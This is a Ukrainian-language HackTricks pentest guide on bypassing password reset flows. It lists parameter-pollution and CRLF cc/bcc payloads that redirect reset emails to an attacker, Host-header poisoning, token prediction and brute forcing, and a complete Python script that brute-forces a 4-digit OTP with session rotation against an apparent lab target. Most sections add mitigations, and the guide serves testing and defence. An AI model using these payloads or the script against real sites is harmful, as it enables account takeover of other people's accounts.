Скидання/Забутий пароль обхід

Reading time: 8 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Витік токена скидання пароля через реферер

  • Заголовок HTTP referer може витікати токен скидання пароля, якщо він включений в URL. Це може статися, коли користувач натискає на посилання третьої сторони після запиту на скидання пароля.
  • Вплив: Потенційне захоплення облікового запису через атаки Cross-Site Request Forgery (CSRF).
  • Експлуатація: Щоб перевірити, чи витікає токен скидання пароля в заголовку реферера, запросіть скидання пароля на вашу електронну адресу та натисніть на посилання для скидання, яке надано. Не змінюйте свій пароль відразу. Натомість, перейдіть на сайт третьої сторони (наприклад, Facebook або Twitter), перехоплюючи запити за допомогою Burp Suite. Перевірте запити, щоб дізнатися, чи заголовок реферера містить токен скидання пароля, оскільки це може розкрити чутливу інформацію третім особам.
  • Посилання:
  • HackerOne Report 342693
  • HackerOne Report 272379
  • Стаття про витік токена скидання пароля

Отруєння скидання пароля

  • Зловмисники можуть маніпулювати заголовком Host під час запитів на скидання пароля, щоб вказати посилання для скидання на шкідливий сайт.
  • Вплив: Призводить до потенційного захоплення облікового запису шляхом витоку токенів скидання зловмисникам.
  • Кроки з пом'якшення:
  • Перевірте заголовок Host на відповідність білому списку дозволених доменів.
  • Використовуйте безпечні, серверні методи для генерації абсолютних URL.
  • Патч: Використовуйте $_SERVER['SERVER_NAME'] для створення URL скидання пароля замість $_SERVER['HTTP_HOST'].
  • Посилання:
  • Стаття Acunetix про отруєння скидання пароля

Скидання пароля шляхом маніпулювання параметром електронної пошти

Зловмисники можуть маніпулювати запитом на скидання пароля, додаючи додаткові параметри електронної пошти, щоб відвести посилання для скидання.

  • Додайте електронну пошту зловмисника як другий параметр, використовуючи &
php
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
  • Додайте електронну пошту атакуючого як другий параметр, використовуючи %20
php
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
  • Додайте електронну пошту атакуючого як другий параметр, використовуючи |
php
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
  • Додайте електронну пошту атакуючого як другий параметр, використовуючи cc
php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
  • Додайте електронну пошту атакуючого як другий параметр, використовуючи bcc
php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
  • Додайте електронну пошту атакуючого як другий параметр, використовуючи ,
php
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
  • Додайте електронну пошту атакуючого як другий параметр у масиві json
php
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}

Зміна електронної пошти та пароля будь-якого користувача через параметри API

  • Зловмисники можуть змінювати параметри електронної пошти та пароля в запитах API, щоб змінити облікові дані акаунта.
php
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})

Відсутність обмеження швидкості: Email бомбардування

  • Відсутність обмеження швидкості на запити скидання пароля може призвести до бомбардування електронною поштою, перевантажуючи користувача електронними листами для скидання.
  • Кроки пом'якшення:
  • Реалізуйте обмеження швидкості на основі IP-адреси або облікового запису користувача.
  • Використовуйте CAPTCHA для запобігання автоматизованому зловживанню.
  • Посилання:
  • Звіт HackerOne 280534

Визначте, як генерується токен скидання пароля

  • Розуміння шаблону або методу генерації токенів може призвести до прогнозування або брутфорсингу токенів. Деякі варіанти:
  • На основі часу
  • На основі UserID
  • На основі електронної пошти користувача
  • На основі імені та прізвища
  • На основі дати народження
  • На основі криптографії
  • Кроки пом'якшення:
  • Використовуйте надійні, криптографічні методи для генерації токенів.
  • Забезпечте достатню випадковість і довжину, щоб запобігти передбачуваності.
  • Інструменти: Використовуйте Burp Sequencer для аналізу випадковості токенів.

Вгадуваний UUID

  • Якщо UUID (версія 1) можна вгадати або передбачити, зловмисники можуть брутфорсити їх для генерації дійсних токенів скидання. Перевірте:

UUID Insecurities

  • Кроки пом'якшення:
  • Використовуйте GUID версії 4 для випадковості або реалізуйте додаткові заходи безпеки для інших версій.
  • Інструменти: Використовуйте guidtool для аналізу та генерації GUID.

Маніпуляція відповіддю: Замініть погану відповідь на хорошу

  • Маніпулювання HTTP-відповідями для обходу повідомлень про помилки або обмежень.
  • Кроки пом'якшення:
  • Реалізуйте перевірки на стороні сервера, щоб забезпечити цілісність відповіді.
  • Використовуйте безпечні канали зв'язку, такі як HTTPS, щоб запобігти атакам "людина посередині".
  • Посилання:
  • Критична помилка на живому заході з винагородами за помилки

Використання простроченого токена

  • Тестування, чи можна ще використовувати прострочені токени для скидання пароля.
  • Кроки пом'якшення:
  • Реалізуйте суворі політики закінчення терміну дії токенів і перевіряйте термін дії токена на стороні сервера.

Брутфорс токена скидання пароля

  • Спроба брутфорсити токен скидання, використовуючи інструменти, такі як Burpsuite та IP-Rotator, щоб обійти обмеження швидкості на основі IP.
  • Кроки пом'якшення:
  • Реалізуйте надійне обмеження швидкості та механізми блокування облікових записів.
  • Моніторинг підозрілих дій, що вказують на атаки брутфорс.

Спробуйте використати свій токен

  • Тестування, чи можна використовувати токен скидання зловмисника разом з електронною поштою жертви.
  • Кроки пом'якшення:
  • Забезпечте, щоб токени були прив'язані до сеансу користувача або інших атрибутів, специфічних для користувача.

Недійсність сеансу при виході/скиданні пароля

  • Забезпечення недійсності сеансів, коли користувач виходить або скидає свій пароль.
  • Кроки пом'якшення:
  • Реалізуйте належне управління сеансами, забезпечуючи недійсність усіх сеансів після виходу або скидання пароля.

Недійсність сеансу при виході/скиданні пароля

  • Токени скидання повинні мати час закінчення, після якого вони стають недійсними.
  • Кроки пом'якшення:
  • Встановіть розумний час закінчення для токенів скидання та суворо дотримуйтеся його на стороні сервера.

Обхід обмеження швидкості OTP, змінюючи свій сеанс

  • Якщо веб-сайт використовує сеанс користувача для відстеження неправильних спроб OTP, і OTP був слабким (<= 4 цифри), то ми можемо ефективно брутфорсити OTP.
  • експлуатація:
  • просто запитайте новий токен сеансу після блокування сервером.
  • Приклад коду, який експлуатує цю помилку, випадково вгадуючи OTP (коли ви змінюєте сеанс, OTP також зміниться, і тому ми не зможемо послідовно брутфорсити його!):
python
# Обхід аутентифікації через скидання пароля
# від coderMohammed
import requests
import random
from time import sleep

headers = {
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
}
url = "http://10.10.12.231:1337/reset_password.php"
logout = "http://10.10.12.231:1337/logout.php"
root = "http://10.10.12.231:1337/"

parms = dict()
ter = 0
phpsessid = ""

print("[+] Початок атаки!")
sleep(3)
print("[+] Це може зайняти близько 5 хвилин!")

try:
while True:
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # випадкове число від 0 до 9999 з 4 цифрами
parms["s"] = 164 # не важливо, це лише впливає на фронтенд
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)

if ter == 8: # слідкуйте за кількістю спроб
out = requests.get(logout,headers=headers) # виходить
mainp = requests.get(root) # отримує ще один phpssid (токен)

cookies = out.cookies # витягує sessionid
phpsessid = cookies.get('PHPSESSID')
headers["cookies"]=f"PHPSESSID={phpsessid}" # оновлює заголовки з новим сеансом

reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # надсилає електронну пошту для зміни пароля
ter = 0 # скидає ter, щоб отримати новий сеанс після 8 спроб
else:
ter += 1
if(len(res.text) == 2292): # це довжина сторінки, коли ви правильно отримали код відновлення (отримано тестуванням)
print(len(res.text)) # для інформації про налагодження
print(phpsessid)

reset_data = { # тут ми змінимо пароль на щось нове
"new_password": "D37djkamd!",
"confirm_password": "D37djkamd!"
}
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)

print("[+] Пароль було змінено на:D37djkamd!")
break
except Exception as e:
print("[+] Атака зупинена")

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks